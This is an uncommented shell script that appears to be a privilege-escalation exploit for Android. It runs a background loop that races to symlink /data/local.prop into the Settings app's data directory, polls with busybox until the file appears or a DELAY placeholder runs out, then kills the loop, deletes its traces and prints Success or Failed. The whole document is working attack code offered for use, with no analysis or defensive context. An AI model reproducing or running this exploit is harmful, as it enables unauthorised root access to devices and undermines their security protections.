1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
|
echo "while ! ln -s /data/local.prop /data/data/com.android.settings/a/file99 > /dev/null 2>&1; do :; done" > /data/local/tmp/exploit
chmod 755 /data/local/tmp/exploit
/data/local/tmp/exploit &
export EXPPID=$!
export COUNT=0
while /data/local/tmp/busybox test 1 = 1
do
export COUNT=$(/data/local/tmp/busybox expr $COUNT + 1)
sleep 1
if /data/local/tmp/busybox test $COUNT -eq DELAY
then
break
fi
if /data/local/tmp/busybox test -f /data/local.prop
then
break
fi
done
kill -9 $EXPPID
rm /data/local/tmp/exploit
if /data/local/tmp/busybox test -f /data/local.prop
then
echo Success
else
echo Failed
fi
|